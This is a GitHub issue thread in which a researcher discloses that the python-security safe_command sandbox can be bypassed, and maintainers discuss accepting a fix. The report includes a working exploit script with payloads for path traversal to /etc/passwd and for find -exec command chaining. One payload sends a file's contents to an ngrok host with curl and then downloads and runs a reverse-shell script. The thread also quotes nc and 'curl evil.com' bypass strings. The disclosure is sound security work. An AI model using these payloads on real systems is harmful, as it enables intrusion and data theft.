pixee / python-security

Security toolkit for the Python community

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Safe Command is vulnerable to injection. Example exploits and fixed implementation.

LucasFaudman opened this issue · comments

While testing pixee I gave it a vulnerable web app that used subprocess to list and search user files.
Which resulted in a Sandbox Process Creation PR:

import subprocess
+ from security import safe_command
  ...
- subprocess.run("echo 'hi'", shell=True)
+ safe_command.run(subprocess.run, "echo 'hi'", shell=True)
  ...
- subprocess.call(["ls", "-l"])
+ safe_command.call(subprocess.call, ["ls", "-l"])

Test App after merging pixies pull request to use safe_command

All of the exploits below are still possible even while using safe_command all restrictions can be bypassed. This in my opinion is very dangerous since the documentation of safe_command and pixie AI describe it as sandboxed which will lead to developers being careless and blindly trusting that it is safe.

The primary reasons are:

  • Incorrect handling of globbing chars
  • No protection for binaries which can exec other binaries
  • Incorrect parsing of shell-syntax contained within quotes

Here is a fixed version that addresses all these issues:
Linked to fixed safe_command api.py
Link to tests that check all restrictions

Web app example showing how exploits will run against the current safe command but will not run against the fixed version

import requests

url = "http://127.0.0.1:5000"

# Example exploits of which bypass python-security safe_commandc

# Targeting list_files which uses grep_user_file with shell=False

# Directory traversal not caught since only .endswith() is used in check_sensitive_files
data = {
    "username": "testuser",
    "search_files": "search_files",
    "filename": "../../../../../../../../../../../../etc/sudoers.d/../passwd",
    "search_query": ":"

}
# Prints the contents of /etc/passwd bypassing PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES check
print(requests.post(url, data=data).text)



# Targeting list_files which uses find_user_file with shell=True

# Globbing and multiple ///s also not caught since only .endswith() is used check_sensitive_files
data = {
    "username": "testuser",
    "list_files": "list_files",
    "file_pattern": "/etc///pa*sswd*",

}
# Prints the contents of /etc/passwd bypassing PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES check
print(requests.post(url, data=data).text)

# Chained commands that leverage other binaries not caught since no separator is used. 
# This affects more than just the find command, xargs, byoubu-ugraph, and many others can be used to chain commands,
# find is just one of the most common simple examples.
data = {
    "username": "testuser",
    "list_files": "list_files",
    "file_pattern": "*.txt' -exec cat /etc///pa*sswd* {} '+",

}
# Prints the contents of /etc/passwd bypassing PREVENT_COMMAND_CHAINING and PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES checks
print(requests.post(url, data=data).text)


# Banned executable only raise an exception if nested at the same level as the invoking command in a command chain.
# This is not caught since the banned executable is nested in a command substitution subshell within sh -c subshell.
# The core issue here is values within quotes are not parsed for shell syntax or banned executables.
data = {
    "username": "testuser",
    "list_files": "list_files",
    "file_pattern": "*.txt' -exec sh -c \"echo $(curl -o bot.sh https://e171-216-243-47-166.ngrok-free.app/$(base64 < exfil.txt) ) $(sleep 2) $(chmod +x bot.sh) $(./bot.sh) etc\" {} '+",

}
# Exfils data and downloads and executes malicious script using curl that opens a reverse shell
# bypassing PREVENT_COMMAND_CHAINING and PREVENT_COMMON_EXPLOIT_EXECUTABLES checks
print(requests.post(url, data=data).text)

@LucasFaudman this is extremely valuable feedback and very much appreciated. This is just a brief response to acknowledge that I will be investigating this further. I'll leave additional updates here over the next day or so.

Thank you so much for your feedback! Please keep it coming!

@LucasFaudman thanks so much again for the time and effort you put into this research.

The changes you made look very interesting. I'm not sure we can accept them exactly as-is, but if you are willing and able, would you be interested in opening a pull request with your changes? We'd be happy to have you as a contributor and this would enable us to iterate and provide feedback.

Otherwise we'll make some changes on our end and keep you updated.

Hey @drdavella, yes I would love to be added as a contributor and iterate through changes with you. I imagine you have some specifications I should be aware of like, how symlinks should be handled, your testing and python version compatibility requirements, etc.

I actually reviewed my solution just now and made a few notable changes:

  • It occurred to me while looking at an attack on our network today that shlex.split, glob.glob and shutil.which all do not account for $IFS/${IFS} so this could also be used to bypass restrictions in both of our previous implementations. Now before parsing the command and resolving paths, I replace $IFS/${IFS} which the first char in os.getenv('IFS')
  • Absolute path strings are now checked for .endswith(f'/{banned_executable') so running a command like rsync will not be blocked by the restriction on nc
  • Minor optimization of check_banned_executables using precomputed abs_path_strings instead of the set of full pathlib.Path objects.

I also have some additional ideas that I think could useful:

  • Checks for permission of the files founds in commands. For example files with SUID GUID bits set could be blocked to prevent privilege escalation.
  • Support for preventing access to sensitive directories in addition to files.
  • Optional kwargs to the run interface that allow items to be added to or removed from the sets used by the checks. For example this could allow for specific files to be explicitly allowed or disallowed. Which could be cool because a future codemod could detect sensitive files accessed or created by a project then pass these to the call to safe_command.run.
  • subprocess.run could be default value of original_func for ease of use.

I also think an additional test suite is needed using a comprehensive command injection fuzzing payload list to test a variety of possible use cases of safe_command (with commands passed as lists and strings with and without shell=True)

I think this would be a good final check to make sure there is not a restriction bypass using an obscure technique we didn't consider like a rare encoding or similar.

@LucasFaudman thanks so much for your response. Your idea about additional testing is a very good one. I'd love to iterate through some of these ideas with you, as well as the changes that you introduced on your own fork. I think the best way to do this is probably in the form of PR comments since it is tightly coupled with the code. I'll keep an eye out for your PR (feel free to open with just the changes you suggested already) and then maybe we will spawn some other suggestions/issues from there.

@drdavella Sounds good. Before I submit my PR two questions to prevent wasted time refactoring later:

  • What is the minimum Python version # the python-security library should be compatible with? I heavily used newer features like the walrus operator, shutil.which TypeAlias etc just to be able to write an initial solution quickly, but the code is not at all dependent on these features so I can easily edit it to work with any min version.
  • Should all tests be in pytest or is unitest acceptable? I can do either.

@LucasFaudman great questions! We explicitly support >=3.8. You should be good on the walrus. I'm less familiar with the version constraints of the others.

pytest is preferable, thank you!

Sounds good, I'll make the PR as soon as I have another chance to dig into this. My schedule is a bit crazy at the moment due to interviewing but I will most likely have it done in the next day or so. Unless I discover a significant issue with the fuzzing payloads, then I'll let you guys know. Take care!

Hey @drdavella, please give me Contributor access and I'll submit my PR.

After testing with FuzzDB and BurpSuite payloads, I discovered two more significant issues with both our implementations which could be used to bypass restrictions:

  1. Nested shell syntax ie: sh<<<'bash<<<\"curl evil.com\"'
    Solution: space all redirection operators then recursively shlex.split command before resolving paths and performing checks.
  2. Shell expansion: ie {nc,-l,-p,1234}, ${BADKEY:=nc} -l -p 1234, etc
    Solution: Preform expansion (in Python not using a shell of course) before resolving paths and performing checks.

All tests in pytest and it is compatible with Python version >=3.8. Link here

Hi @LucasFaudman that's awesome! I can't wait to see it. I think you should be able to open a PR from your fork without officially being added to this repo. That's the way a lot of OSS projects manage contributions from both internal and external contributors. Would you mind trying that out and then we can go from there?